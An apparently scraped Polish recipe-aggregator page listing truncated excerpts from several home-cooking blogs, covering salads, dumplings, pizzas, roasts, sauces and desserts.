jabłko, cebulę i jajka pokroić w miarę równą kostkę. Dodać odcedzone z płynu groszek i kukurydzę. Całość wymieszać. 3 łyżki majonezu wymieszać z łyżeczką musztardy. Sałatkę warzywną połączyć z sosem majonezowo-musztardowym. Doprawić do smaku solą i pieprzem. W razie konieczności dodać więcej majonezu. Smacznego

kolorowotorcikowo
Lody paprykowe Merci Chef. 201

ilości uzyskanego materiału do 130 ml - 3 g agaru. Mieszamy dokładnie i wstawiamy do mikrofali na minutę. Wyjmujemy i dokładnie mieszamy. Czynność powtarzamy do momentu delikatnego zagotowania się sosu, którego konsystencja powinna przypominać kisiel. Gorący mus śliwkowy nabieramy do dużej strzykawki i małymi kropelkami wpuszczamy go do bardzo mocno schłodzonego oleju. Tak przygotowany śliwkowy kawior odcedzamy na sitku i delikatnie

Malinowe Pocałunki
Tymbaliki z karpia 297

wywar klaruję, ale nie każdy taki lubi. Groszek z marchewką blanszować. Do małych miseczek, filiżanek nałożyć kawałki ryby i warzywa. Zalać galaretką i odstawić do stężenia. Podawać z sosem tatarskim

Kulinarny karnet Christophera
Kasza jaglana z bakaliami i musem malinowym. 186

szklanki wody po 2 łyżki bakalii: rodzynki , żurawina, śliwki suszone, płatki migdałów, orzechy włoskie siekane, daktyle 1 łyżeczka cynamonu  1 łyżka ksylitolu lub opcjonalnie miód Na sos: 20 dag mrożonych malin( latem świeże)  1 łyżka ksylitolu 1 banan WYKONANIE Kasze zalewamy wodą i prażymy na małym ogniu do momentu aż się rozklei. Na chwile nakrywamy garnek ściereczką. Kasza

W kuchennym oknie Ewy
Gnocchi z majerankiem 199

region Wloch przyrzadza je na inny sposob.Istnieja nawet gnocchi z maki gryczanej lub zielone,bo z dodatkiem szpinaku.Dzisiejsze sa tradycyjnez bialej maki.Zjedlismy je z pieczenia ze schabu i  sosem pieczarkowym. Skladniki na 2-3 porcje: 300 g ugotowanych ziemniakow 100 g maki 1 male jajko sol (gdy ziemniaki byly gotowane w mundurkach) 2 lyzeczki suszonego majeranku Przygotowanie: Ugotowane ziemniaki

Gotuj zdrowo!Guten Appetit!
Kluski śląskie-Schlesische Kartoffelklöße 219

dloniach. Wrzucic do garnka z wrzaca ,osolona woda.Gdy wyplyna,gotowac je kilka minut czekajac, az urosna ,wyjmowac lyzka cedzakowa. Podawac jako dodatek do drugiego dania,lub samodzielne danie np.z sosem pieczarkowym i surowka. Gdy chcemy ,by byly mniej gumowe niewielka czesc maki ziemniaczanej mozemy zastapic maka pszenna.Jednak takie ciasto nie nadaje sie juz wtedy do przechowywania w lodowce.Po prostu bedzie

Gotuj zdrowo!Guten Appetit!
Vollkornspätzle- pełnoziarnisty domowy makaron 172

tego jakiego narzedzia do ich wykonania uzyjemy.Te dlugie ,maja stukture podobna do naszych "flaczkow".Dzieki temu,ze sa takie" kosmate" swietnie sie nadaja do wszystkich miesnych dan z sosem. Skladniki na 2 porcje: 250 g maki pszennej pelnoziarnistej 125 ml wody mineralnej,zwyklej lub mleka 2 duze jajka 1/2 lyzeczki soli galka muszkatalowa do smaku 1/2 lyzeczki bialego pieprzu(niekoniecznie

Gotuj zdrowo!Guten Appetit!
"Mizeria" z ogorkow bez smietany? 358

pokrojone ogorki umiescic w salaterce i wymieszac z sola ( 2-3 szczypty),by zmiekly i puscily sok.Soku nie odlewac.To same sole mineralnei wszystko co najzdrowsze w ogorku. Przygotowac sos winegret.Oliwe z octem i miodem wymieszac na gladka emulsje Ogorki polaczyc z sosem.Dorzucic pokrojony szczypior i koperek.Przed podaniem schlodzic w lodowce.Smacznego

Gotuj zdrowo!Guten Appetit!
Cukinia-niedoceniana ,a bardzo zdrowa 180

smakiem. Swietnym dodatkiem do salatek jest rowniez cukinia konserwowana.Robi sie ja w podobny sposob jak  ogorki konserwowe. Cukinia konserwowa pokrojona w kostke z dodatkiem pomidorow i cebuli z sosem winegret to naprawde smaczna salatka. Ponizej na zdjeciu cukinia z mojego ogrodu

Gotuj zdrowo!Guten Appetit!
Schab duszony w pomidorach a`la pizza 220

czosnkiem.Gdy sie zezloci dodac pomidory z puszki.Do puszki wlac pare lyzek wody,przeplukac i reszte wlac do rondla.Dodac oregano i pozostale przyprawy. Dolozyc obsmazone w miedzyczasie kotlety.Zatopic w sosie i dusic okolo 40 min-do 1 godziny,az kotlety beda miekkie. Pod koniec duszenia dodac smietanke,by zabielic powstaly sos.Bez sa rownie pyszne.Zycze smacznego

Gotuj zdrowo!Guten Appetit!
Kurki w śmietanie z koperkiem oraz niezawodny sposób na oczyszczenie kurek z piasku 270

Nigdy nie solimy kurek w trakcie duszenia,bo stana sie twarde i gorzkie ,robimy to tuz przed podaniem. Pod koniec dodac smietane-ilosc wg uznania,chwile razem przesmazyc ,zeby sos sie zagescil.Ze slodka smietanka sa wyjatkowo pyszne,ale kwasna oczywiscie tez mozecie dodac.Sos polaczymy z koperkiem i sola.Gotowe do podania!Zycze smacznego

Gotuj zdrowo!Guten Appetit!
Zupa pomidorowa na włoski sposób-najlepsza 192

mnie,ale tylko dodal jej charakteru.Choc kazdy bialy makaron bedzie rowniez pasowal.Smakowitosci tej pomidorowce zapewne dodal seler naciowy i dlugie,powolne gotowanie pomidorow.Z ta zupa jest dokladnie jak z sosem bolognese.Mozna go zrobic w 20 minut,ale zniewalajacy smak uzyskamy po 2-godzinnym pyrtaniu,a nawet dluzszym. Wiem,wiem,kazda z nas ma swoj najlepszy przepis na pomidorowke,ale sprobujcie

Gotuj zdrowo!Guten Appetit!
Kotlety mielone z pieczarkami. Swampignon-Frikadelle 219

znaczne ilosci blonnika daja poczucie sytosci. Duet miesa mielonego z pieczarkami jest bardzo smakowity.To polaczenie mozna rowniez wykorzystac przygotowujac inne dania z udzialem miesa mielonego jak np. lasagne czy sos bolognese.Kotleciki sa wyjatkowo smaczne,sprobujcie sami. Skladniki: 500 g pieczarek 500 g miesa mielonego 1 czerstwa buleczka 1 jajko 1 cebula olej do smazenia bulka tarta do panierowania sol,pieprz

Gotuj zdrowo!Guten Appetit!
Placki ziemniaczane 203

jogurtem posypane cukrem.Ten wariant to moj ulubiony.Choc niektorzy uwazaja,ze cukier i cebula sie wykluczaja smakowo.Moze,ale nie w plackach ziemniaczanych.Swietne sa rowniez z musem jablkowym. Wariant wytrawny z sosem pieczarkowym,czy grzybowym tez znajdzie wielu amatorow. Uwagi:najsmaczniejsze placki,to te z mocno chrupiacym brzegiem.By takie placki upiec nalezy spelnic kilka warunkow.Ciasto na placki rozkladamy cienka warstwa na mocno

Gotuj zdrowo!Guten Appetit!
Fasolka po bretońsku-pycha 1068

smaku potrawie. Pomidory z zalewy zblendować na gładki sos.Przełozyć do fasoli razem z kiełbasą i cebulą z boczkiem. Dodać sól,pieprz,obie papryki,roztarty w palcach suszony majeranek.Gdy sos pomidorowy jest za mało wyrazisty lub nieco za rzadki można dodac łyżkę koncentratu pomidorowego.Zagotować całość razem. Posypać przed podaniem zieloną pietruszką .Podawać z pieczywem.Życzę smacznego

Gotuj zdrowo!Guten Appetit!
Dynia faszerowana kasza gryczaną i pieczarkami 242

mogla rowno stac. Pomidory zblendowac na gladki sos.Zagotowac z mlekiem kokosowym,dodac sol,pieprz,cukier i posiekane ziola. Polowki dyni wypelnic przygotowanym farszem .Ustawic w naczyniu do zapiekania ,podlac sosem,dolozyc rozmaryn . Piec w temperaturze 200°C przez 45 minut - bez termoobiegu. (Gdy dysponujemy wieksza dynia czas pieczenia wydluzyc do 1 godziny.Po pol godzinie pieczenia przykryc folia )10 minut przed

Gotuj zdrowo!Guten Appetit!
Kokos,domowe mleko i wiórki kokosowe - wartości zdrowotne 225

lodówce niestety najwyzej 2-3 dni.Stojąc na pewno ęrozwarstwi,ale to naturalny proces.Na górze odzieli sie Smietanka.Możemy ją ubić do deseru,a mleko zużyć do zupy,sosu,potraw curry ,naleśników lub do kawy lub po prostu wypić.Kawa z takim mleczkim jest wyśmienita.Bardzo polecam! WYKORZYSTANIE POZOSTALYCH WIORKOW KOKOSOWYCH : Pozostałe wiórki sa również do wykorzystania.Na blaszkę wyłożoną papierem

Gotuj zdrowo!Guten Appetit!
Apfel-Strudel czyli strudel z jabłkami i bakaliami 162

Tradycyjny wiedenski strudel,popularny zwlaszcza w Austrii,a uwielbiany przez Niemcow.Najlepiej smakuje podany na cieplo z bita smiatana,sosem waniliowym lub lodami,choc nam smakuje najbardziej bez zadnych dodatkow.Zamiast pieczenia pierniczkow,za ktorymi nie przepadamy ,upieklam strudel.Przepis wypatrzylam juz dawno temu i oczekiwal na swoja kolej,a moj "tester"czekal juz niecierpliwie wlasnie na ciasto z jablkami.Takze spelnilam zyczenie meza

Gotuj zdrowo!Guten Appetit!
Śledzie w delikatnej marynacie octowej z cebulą 216

przyprawami. Zakrecic.Odstawic do lodowki.Po 3-ch dniach,gdy sie przemaceruja nadaja sie do konsumpcji ,wtedy sa najsmaczniejsze. Podawac z ulubionymi dodatkami np. z ziemniakami w mudurkach i smacznym, sosem jogurtowym. Przepis na sosik jogurtowy: 150-200 g jogurtu greckiego 2 lyzeczki chrzanu ze sloiczka 2 szczypty soli 1 szczypta cukru 1 lyzeczka soku z cytryny 2 lyzki posiekanego koperku Wykonanie

Gotuj zdrowo!Guten Appetit!
Surówka z pora z jabłkiem 181

sokiem z cytryny. °Lyzke soku z cytryny wymieszac z miodem na gladki krem i polaczyc z jogurtem.Sos ma miec slodko-winny smak. °Pora wymieszac z jablkiem,koperkiem i doprawionym sosem jogutrowym.Surowke podawac schlodzona.Smacznego

Gotuj zdrowo!Guten Appetit!
Sznycle schabowe w pieczarkowym ragout-dietetycznie 238

przesmazyc razem 1 minute. Do pieczarek z cebula wlac bulion,dolozyc kotlety i dusic pod przykryciem do miekkosci od 20-40 minut,w zaleznosci od wielkosci i grubosci kotletow. Sos doprawic do smaku sola i pieprzem.Posypac posiekana zielona pietruszka.Podawac z gotowanymi ziemniaczkami.Smacznego! 1 porcja to 386 kcal,41 g bialka,13 g tluszczu,23 g weglowodanow

Gotuj zdrowo!Guten Appetit!
Kotleciki z czerwonej z soczewicy w sezamowej panierce 206

groszku i fasoli to jedna z najstarszych znanych jarzyn,bardzo zdrowa i pozywna.Najczesciej jest skladnikiem zimowych,rozgrzewajacych zup.Sprawdzi sie rowniez doskonale jako glowny skladnik sycacych i smacznych kotlecikow.Podane z sosem pomidorowym i uzupelnione surowka beda swietnym drugim daniem  i to nie tylko dla wegeterian.Moje kotleciki obtoczylam w dwukolorowym sezamie.Prezentuja sie bardzo apetycznie,a dodatek sezamu zwielokrotnil tylko ich wartosci

Gotuj zdrowo!Guten Appetit!
Pasta serowo-rybna 201

sledzia w pomidorach-200 g szczypiorek Wykonanie: Serek z opakowania przelozyc do miseczki. Wylowic sledzia z konserwy.dolozyc do serka i rozgniesc widelcem na jednolita mase.Nie zuzywac do pasty pozostalego sosu pomidorowego ,gdyz pasta bedzie wowczas za rzadka. Mozna schlodzic przed podaniem.Posmarowac kromki pieczywa,posypac szczypiorkiem Smacznego! Uwagi:uzycie serka Philadelphia,ktory jest niezwykle kremowy i smacznej konserwy sledziowej jest gwarantem

Gotuj zdrowo!Guten Appetit!
Kassler z kiszoną kapustą pieczony w rękawie 230

trakcie pieczenia Piec okolo 45 minut. Ostroznie uwolnic mieso z rekawa ( Uwaga !goraca para ).Pokroic mieso na porcje. Podawac z musztardowym puree ziemniaczanym .Swietnie smakuje rowniez z dodatkiem sosu musztardowego. Przygotowanie puree ziemniaczanego z musztarda:do ubijania ugotowanych ziemniakow dodaj kilka lyzek mleka  lub creme-fraiche oraz 1-2 lyzki musztardy.Ilosc zalezy od ostrosci uzytej musztardy,ilosci ziemniakow

Gotuj zdrowo!Guten Appetit!
Belgijskie gofry drozdzowe-pyszne 228

kilka minut.Wieksza moc nie jest wskazana,ze wzgledu na obecnosc cukru gofry szybko nabieraja koloru. Po upieczeniu koniecznie odlozyc na kratke,do wystygniecia.Jak wystygna sa rewelacjnie chrupiace.Gofry podalam z sosem malinowym.Zycze smacznego

Gotuj zdrowo!Guten Appetit!
Zaproszenie do akcji"Kuchnia Niemiecka" 2014 208

kuchnie,ktora dostarcza podniebieniu wielu przyjemnosci. Kuchnia niemiecka to wiele wykwintnych dan,ale docenia popularna kapuste,szczegolnie kiszona,boczek czy kluski.Filarem kuchni jest jednak mieso,a Schweinebraten-pieczen z sosem to narodowa potrawa Niemcow.Maja przebogaty wybor przedniego pieczywa,pyszny,znany tort Schwarzwaldzki i Apfelstrudel. Zima zatem to idealna pora na zebranie przepisow z kuchni naszych zachodnich sasiadow.Mam nadzieje

Gotuj zdrowo!Guten Appetit!
Krokiety z pieczarkami i porem 260

Bardzo dawno nie robilam krokietow,dlatego ich pojawienie sie na stole spotkalo sie z ogromnym entuzjazmem.Wiekszosc uznaje krokiety jako dodatek do czystych zup.U mnie podane z surowka lub sosem zawsze stanowily samodzielne danie.Dzisiejsze krokiety maja nadzienie z pieczarek i pora.Udane polaczenie smakowe,bo dodatek pora jeszcze bardziej podkreslil ich pieczarkowy aromat.Polaczenie to bylo oczywiscie dzielem przypadku.Obawialam sie ,ze mam niewystarczajaca

Gotuj zdrowo!Guten Appetit!
Kopytka 214

gotowac natychmiast po wyrobieniu.Doskonale smakuja odsmazane na smalcu lub masle nastepnego dnia.Sa swietnym dodatkiem do wszystkich dan miesnych lub moga stanowic samodzielne danie podane np. z surowka i sosem.                    Skladniki ( dla 4 osob): 1 kg ziemniakow 30 dkg maki pszennej 1 lyzki

Gotuj zdrowo!Guten Appetit!
Kolorowa salatka śledziowa 240

ogorki konserwowe 3 jajka ugotowane na twardo pieprz grubo mielony 4 czubte lyzki majonezu lub majonez wymieszany pol na pol z jogurtem lub gesta smietana.Wtedy dodatkowo doprawic sos szczypta soli,pieprzu,cukru i 1 lyzeczka soku z cytryny dodatkowo:zielony pieprz i rzezucha Wykonanie: wymoczone,umyte filety sledziowe osuszyc ,pokroic w gruba kostke ,posypac grubo mielonym pieprzem i odstawic

Gotuj zdrowo!Guten Appetit!
Woda z cytryna i mieta oraz "cudowna moc" mrozonej cytryny 232

mrozona cytryne? Cala umyta cytryne wloz do zamrazarki.Kiedy jest juz zamrozona,wez tarke i zetrzyj ja,bez obierania  i posyp starta masa swoje jedzenie:salatke,lody,zupe ,dip,sos itd.itd....Jedzenie zyska cudowny smak,ktorego nie znasz i kto wie moze nie tylko

Gotuj zdrowo!Guten Appetit!
Rzodkiewki gotowane 161

minut.Im dluzej sie gotuja ,tym bardziej traca kolor.Powinny jednak pozostac jedrne podawac z maselkiem i posypane koperkiem UWAGI:same bez dodatkow sa rownie smaczne.Pasuja do nich takze wszystkie sosy na bazie jogurtu z ulubionymi dodatkami

Gotuj zdrowo!Guten Appetit!
Surówka z ogórka i zielonego jabłka 244

szczypior ocet winny wymieszac z oliwa i miodem  jablko obrac ( mozna pozostawic ze skorka),usunac gniazda nasienne,pokroic na cwiartki,nastepnie w cienkie plasterki do pokrojonych ogorkow dodac sos winegret i plasterki jablka.Wymieszac.Posypac obficie zielonym kopoerkiem podawac schlodzona w lodowce

Gotuj zdrowo!Guten Appetit!
Lin w smietanie 186

Klasyka kuchni polskiej - lin w smietanie.Ponoc zadna inna ryba nie pasuje do sosu smietanowego jak lin wlasnie.Ma bardzo smaczne,delikatne ,biale i raczej chude mieso.Ryba bardzo podobna w smaku do karpia,choc nie tak tlusta i jeszcze delikatniejsza,traci jednak mulem tak jak karp.Pokryta okropnym ,w duzej ilosci sluzem z bardzo drobna luska.Na szczescie ryby nie musisz skrobac

Gotuj zdrowo!Guten Appetit!
Placki z cukinii - wersja II odchudzona 217

oregano dodal im srodziemnomorskiego,wakacyjnego charakteru.Pyszne ,cieple prosto z patelni i jako mala przegryzka jedzone na zimno.Z salatka z pomidorow stanowia swietne letnie danie obiadowe.Idealnie smakuja z ketchupem lub sosem pomidorowym. Skladniki: 1 duza lub 3 male cukinie 2 jajka 4 lyzki maki orkiszowej 2 marchewki 1 cebula 1 lyzeczka proszku do pieczenia sol,pieprz 5-6 galazek oregano,majeranku

Gotuj zdrowo!Guten Appetit!
Filety z kurczaka w cebuli z indyjska nuta 217

kurczaka umyc,osuszyc,posolic i przekroic na pojedyncze kawaki.Polozyc na patelnie i obtoczyc dokladnie w przyprawach.Nastepnie wlac wode i dusic pod przykryciem na wolnym ogniu okolo 25 minut,az sos zgestnieje potrawe skropic sokiem z cytryny,wymieszac, posypac szczypiorkiem i podawac npz ryzem

Gotuj zdrowo!Guten Appetit!
RÖSTI - super chrupiące placki 308

plackom tartym z ziemniakow ugotowanych w mundurkach,niemiecka natomiast preferuje placki z tartych,ale surowych ziemniakow.Klasyczne rösti jest dosc duzym,grubym i jednym plackiem.Czesto towarzyszy daniom miesnym z sosami. Mojego placka upieklam wg wskazowek Tima Mälzera ( Zobacz filmik ).Zrobilam je jednak w wiekszej ilosci ,a zatem sa mniejsze oraz podalam z jogurtem i cukrem tak jak lubimy najbardziej. Niemcy najczesciej

Gotuj zdrowo!Guten Appetit!
Gyros z karkowki i przepis na orginalne tzatziki z Krety 264

szklanka wody ,przykryc patelnie pokrywka i dusic do miekkosci - okolo 20-30 minut.Pod koniec zdjac pokrywe i odparowac nadmmiar wody lub, zagescic 1 lyzeczka maki,by utworzyc apetyczny sos.Zrobilam sos,poniewaz podalam moj gyros z puree ziemniaczanym w miedzyczasie przygotowac tzatziki.Ogorka obrac ze skorki i zetrzec na duzych oczkach tarki.Posolic i odstawic,by puscil sok.Odsaczyc dokladnie ogorka na sitku nastepnie

Gotuj zdrowo!Guten Appetit!
Surówka z ogórka i cukinii - dietetyczna 202

cebulę pokroić w piórka.Warzywa z cebulą umiescić w salaterce,wymieszać z solą i odstawić ,by pusciły sok i zmiekły oliwę,ocet winny i miód wymieszać na gładki krem sos dodać do ogórka z cukinią,wymieszać.Dodać pokrojony szczypiorek i koperek lub inne ulubione zioła przed podaniem schłodzic w lodówce

Gotuj zdrowo!Guten Appetit!
Orkiszowe kluski drożdżowe na parze - buchty,pampuchy 201

mamy przynajmniej 2 obiady za jednym zamachem.Kluchy przygotowałam w całości z mąki orkiszowej.Swietnie smakują na słodko z owocami i jogurtem,są również smacznym dodatkiem do wszystkich dań mięsnych z sosami,pyszne np. z pieczenią cielęcą Składniki na 10 klusek: 300-350 g mąki orkiszowej 700 100 ml mleka 2 dkg drożdży świeżych lub 1,5 łyzeczki suchych 1 łyżka cukru

Gotuj zdrowo!Guten Appetit!
żeberka duszone z cebulą 207

Idealnie mięciutkie,rozpływające się w ustach mięso w pysznym sosie-to właśnie żeberka.Chyba wszyscy je lubią.Sama je uwielbiam,choć bardzo rzadko je robię.Jest to danie niestety dość kaloryczne ,jednak pogoda za oknem całkowicie usprawiedliwia ochotę na takie jedzonko.  Może właśnie ta częstotliwość sprawia,że są witane z takim entuzjazmem,gdy tylko pojawią się na stole.Mąż

Gotuj zdrowo!Guten Appetit!
Syrop z żurawiny.Cudowna moc zurawiny 189

żurawina jest dostępna w handlu już od wielu lat.Teraz bez trudu można kupić świeżą.Właśnie z niej można zrobić przetwory,które posłużą jako baza do przygotowania napojów, kisieli,galaretek,sosów. Żurawina zawiera sporo kwasu benzoesowego-naturalnego konserwanta.Dzięki temu zachowuje świeżość na długo.W lodówce możesz ją przechować do 6-ciu tygodni,w zamrażarce rok. Składniki na syrop z żurawiny

Gotuj zdrowo!Guten Appetit!
Biała rzodkiew z czarnym sezamem 218

długie paski.Posolić i odstawić na 10-15 minut.Puści sporo wody,wodę odlać sok z cytryny połączyć z octem ryżowym i syropem z agawy odsączoną rzepę polać przygotowanym sosem i posypać uprzednio uprażonym,bądż nieuprażonym czarnym sezamem

Gotuj zdrowo!Guten Appetit!
Pizza z pieczarkami i kiełbasą 165

domu ma się łasuchów. 1 kg mąki pszennej typ 500 500 ml mleka 3,2% 1/3 szk oleju 1 łyżka soli 1 łyżka cukru 65 g świeżych drożdży Sos : 1 czubata łyżka koncentratu pomidorowego z bazylią 1 czubata łyżka koncentratu pomidorowego z czosnkiem sól himalajska do smaku 1/4 przegotowanej zimnej wody Dodatki : 450 g różnych kiełbas 350 g pieczarek

Ewa w kuchni
Szaszłyki drobiowo - warzywne 165

szaszłyki 1 pojedyncza pierś z kurczaka 1 cebula 1 pomidor 8 plasterków cukinii 1 łyżka mieszanki przypraw do grilla sól morska do smaku pieprz kolorowy do smaku 1/3 szk sosu sojowego jasnego Rozwiń i czytaj przepis

Ewa w kuchni
Pierogi serowo - brzoskwiniowe 160

brzoskwinie 2 łyżki kaszy manny ( błyskawicznej ) cukier do smaku Ciasto : 500 g mąki pszennej typ 500 + do podsypywania 250 ml gorącej wody 1 łyżka oleju 1 płaska łyżeczka soli Sos : 4 łyżki jogurtu greckiego 1 jogurt brzoskwiniowo pomarańczowy ( 150 g ) cukier do smaku odrobina czerwonego barwnika spożywczego Rozwiń i czytaj przepis

Ewa w kuchni
Pyszna wiejska pizza 169

Ciasto : 600 g mąki pszennej typ 500 1 szk mleka 3/4 szk wody 50 g świeżych drożdży 1 łyżeczka cukru 1 łyżeczka soli 6 łyżek oleju Sos : 2 łyżki koncentratu pomidorowego z ziołami 4 łyżki wody 2 szczypty soli Farsz : 4 cienkie wiejskie kiełbasy 150 g wędzonego boczku 200 g pieczarek 2 cebule 200 g żółtego sera 1 łyżka czosnku

Ewa w kuchni
Gulasz żołądkowo warzywny 181

dodać do składników na patelni. Wszystko smażyć do lekkiego zarumienienia składników. Potem podlać całość bulionem, dodać przyprawy i dusić do miękkości. Gdy wszystko będzie miękkie ewentualnie doprawić i zaciągnąć sos mąką ziemniaczaną rozmieszaną z odrobiną wody. Gulasz zagotować i podawać np. z ugotowanym makaronem

Ewa w kuchni
Sezamowo kukurydziane skrzydełka 165

firmy Prymat i kolejna propozycja do konkursu na Doradca Smaku. Niby prosta przekąska ale jaka smaczna. Chrupiące skrzydełka z pysznym dipem meksykańskim można podać właśnie na przekąskę lub obiad. Sos jest gęsty, ostry i smaczny i świetnie komponuje się właśnie ze skrzydełkami w sezamie i płatkach kukurydzianych. Rozwiń i czytaj przepis

Ewa w kuchni
Ryż zapiekany z warzywami, kurkami i skrzydełkami 277

siebie. Jako, że w kuchni zawsze coś się psuje a mi akurat odmówiła posłuszeństwa jedna z tarek postanowiłam wybrać tarkę wielofunkcyjną, którą znajdziecie tutaj : i maleńkie naczynko do serwowania sosu, ale o tym kiedy indziej. Wybrałam ten produkt mając na myśli mojego małego pomocnika czyli synka, który często pomaga mi w kuchni. Tarka ta ma 4 wymienne ostrza, które nigdy

Ewa w kuchni
Udka z kurczaka w marynacie curry 236

Dziś propozycja na wykorzystanie kolejnych produktów od Społem Kielce. A jest to majonez Omega 3 i Sos curry. Do tych produktów dodałam jeszcze kilka składników i wyszła pyszna marynata do udek. udka zamarynowane a potem upieczone są pyszne i soczyste. Do tego ulubione dodatki i mamy pyszny obiad. rozwiń i czytaj przepis : Rozwiń i czytaj przepis

Ewa w kuchni
Makaron z kurczakiem i brokułami 991

potrawy do których lubię wracać, jak ten makaron z kurczakiem w sosie brokułowo-porowo-śmietanowym. Proste składniki… a efekt zachwycający :)! Przygotowuje się go stosunkowo szybko, a aromatyczny zapach przyciąga domowników do kuchni… Serdecznie zapraszam na włosko-polskie danie! Makaron z kurczakiem z brokułami – składniki: ok. 200 g makaronu rurki 1 pierś kurczaka 1 brokuł 1-2 białe

UgotujmyTo.pl
Sałatka: warzywa z grilla i… 239

jakiś czas mieszając aż warzywa będą lekko miękkie.   Gdy warzywa wystygną mieszam je z przygotowanym wg przepisu na opakowaniu kuskusem lub ugotowanym al dente makaronem. Dodaję cały sos od warzyw bo wtedy sałatka jest bardziej wilgotna.   Smacznego   Przepis zgłoszony do akcji: Post Sałatka: warzywa z grilla i… pojawił się poraz pierwszy w UgotujmyTo.pl

UgotujmyTo.pl
Przepis na gołąbki z kapusty włoskiej 191

główka kapusty włoskiej ok. 750g mięsa mielonego 2 jajka pół szklanki ryżu ugotowanego al dente (czyli musi być lekko twardy bo dojdzie w czasie gotowania gołąbków) majeranek, sól, pieprz Sos: 2 puszki pomidorów (zmiksowane) 1-2 łyżki koncentratu pomidorowego sól, pieprz, szczypta cukru śmietana mała, koperek (u mnie bazylia)- opcjonalnie pól szklanki wody   Do dużego garnka wlewam wodę

UgotujmyTo.pl
Pieczona łopatka wieprzowa ze śliwkami 266

minut na każde 500 g plus 40 min. Czyli ja piekłam swoją niecałe trzy godziny (1,4 kg = w przybliżeniu 3x500g = 3x45min + 40 min = 175 minut). Po upieczeniu powstały sos przetrzeć przez sitko (można doprawić solą, pieprzem, odrobiną cukru i octem balsamicznym oraz zagęścić mąką). Smacznego Post Pieczona łopatka wieprzowa ze śliwkami pojawił się poraz pierwszy w UgotujmyTo.pl

UgotujmyTo.pl
Pieczona kaczka z jabłkami 274

czas polewając je wytapiającym się tłuszczem. Po tym czasie wyjąć mięso z naczynia i położyć na kratce i dopiec jeszcze ok. 20-30 minut aż skórka zrobi się rumiana. Sos powstały z pieczenia można przecedzić przez sitko i zagęścić mąką lub odparować. Smacznego Post Pieczona kaczka z jabłkami pojawił się poraz pierwszy w UgotujmyTo.pl

UgotujmyTo.pl
Terrina mięsna – przepis wg Ricka Steina 220

przykryć ją folią, na to położyć kawałek wyciętego kartonika (chodzi o równomierne obciążenie) a na to położyć np. puszki i taką konstrukcję wstawić do lodówki na noc. Podawać z sosem żurawinowym i/lub ogórkami kiszonymi lub korniszonami. Smacznego Post Terrina mięsna – przepis wg Ricka Steina pojawił się poraz pierwszy w UgotujmyTo.pl

UgotujmyTo.pl
Dwie sałatki z kurczakiem 409

rukoli. Dodaję obrane cząstki grejpfruta i kawałki dyni. Posypuję posiekanymi orzechami. Na koniec polewam olejem z pestek dyni. A jeśli macie ochotę eksperymentować dalej, proponuję z tego oleju przygotować sos i polać nim naszą sałatkę: 1 łyżka oleju z pestek dyni 1 łyżka musztardy francuskiej 1 łyżka miodu 2 łyżki soku z cytryny Wszystko wymieszać. Polać sałatkę.     Sałatka

UgotujmyTo.pl
Sałatka z kurczakiem i kapustą pekińską 1248

pekińską – składniki: 1 pierś z kurczaka 1 kapusta pekińska 150 g sera pleśniowego 1 czerwona papryka garść czarnych oliwek 200 g ananasa z puszki 50 g sezamu oliwa, sos sojowy, sól, pieprz Dressing: 2 łyżki oleju sezamowego 2 łyżki soku z limonki 2 łyżki miodu 1 łyżka oliwy sól 0.5 łyżeczki imbiru (opcjonalnie) 1. Pierś z kurczaka opłukać, osuszyć

UgotujmyTo.pl
Sernik dyniowy 269

masło i cukier brązowy gotować około 20 minut na małym ogniu. Mieszać często drewnianą łyżką i BARDZO uważać przy próbowaniu, bo masa jest bardzo gorąca! Jak przestygnie, lekko ciepłym sosem polać sernik. Można również podać z ubitą śmietaną, orzechami….lub inną polewą. Smacznego Źródło: http://www.kingarthurflour.com/recipes/pumpkin-cheesecake-with-gingersnap-crust-recipe Post Sernik dyniowy pojawił się poraz pierwszy w UgotujmyTo.pl

UgotujmyTo.pl
Fasolka po bretońsku 164

Jeśli lubimy -jak my- trochę ostrzejsze smaki, to można dodać pieprzu kajeńskiego lub chili mielonego. Gotować kolejne 10-15 min. U mnie – ponieważ nie dolewałam dużo wody – sos był gęsty i nie musiałam robić do niego zasmażki. Smacznego Post Fasolka po bretońsku pojawił się poraz pierwszy w UgotujmyTo.pl

UgotujmyTo.pl
Śledzie z rodzynkami w curry 195

curry wymieszać. (Curry dodajemy z zależności od stopnia ostrości curry i naszych upodobań) 3. Namoczone wcześniej i odcedzone śledzie kroimy na paseczki. Łączymy śledzie z rodzynkami, cebulą i sosem curry. Odstawiamy na kilka godzin do lodówki. Smacznego Post Śledzie z rodzynkami w curry pojawił się poraz pierwszy w UgotujmyTo.pl

UgotujmyTo.pl
Kurczak w piwie 225

się lekko szkliste. Przełożyć do rondelka z kurczakiem. Dodać ziele angielskie, jałowiec, liście laurowe. Dolać piwo. Dusić na małym ogniu około godziny aż kurczak będzie miękki. Doprawić śmietanką. Jeśli sos jest za rzadki można wyjąć kurczaka i jeszcze go zredukować dłużej gotując albo zagęścić 1-2 łyżkami mąki ziemniaczanej rozrobionej z 1/3 szklanki zimnej wody. Przepis znajdziecie również

UgotujmyTo.pl
Makaron z brokułami, sardelami i cytryną 215

upodobań) Smażyć na małym ogniu 1-2 minuty a następnie dodać połowę obgotowanych i odcedzonych brokułów, połowę startego parmezanu, skórkę i sok z cytryny i wszystko zmiksować. Jeśli sos jest za gęsty dodać wody od gotowania brokułów. Dodać resztę brokułów i podawać z ulubionym makaronem. Doprawić pieprzem. 3. Makaron -ulubiony- ugotować z godnie z instrukcją na opakowaniu skracając czas

UgotujmyTo.pl
Makaron z szynką i figami 171

chłodniej… Wkrótce trzeba będzie wyciągnąć ciepłe kołdry i zacząć pić herbatę z cytryną… Obiady lekkie zastąpić cięższymi… Na razie proponuję makaron w lżejszej wersji, bez ciężkiego sosu… Makaron z szynką i figami to nietypowa propozycja na szybki i bardzo smaczny obiad. Nam takie połączenie pachnącego rozmarynem, lekko cytrynowego makaronu ze słodkimi figami i chrupiącą szynką bardzo

UgotujmyTo.pl
Kotleciki z kalafiora 2300

zacząć od małej szczypty… Kotleciki z kalafiora można podawać jako danie obiadowe z dodatkiem ziemniaków czy kasz albo na zimno, jako przekąskę z dodatkiem jogurtu naturalnego czy ulubionego sosu. Kotleciki z kalafiora Składniki: 1 mały kalafior 1 cebula 2 ząbki czosnku mały pęczek koperku (można użyć mrożonego) 2 jajka sól, pieprz, kmin rzymski -opcjonalnie bułka tarta olej rzepakowy

UgotujmyTo.pl
Bakłażan faszerowany 280

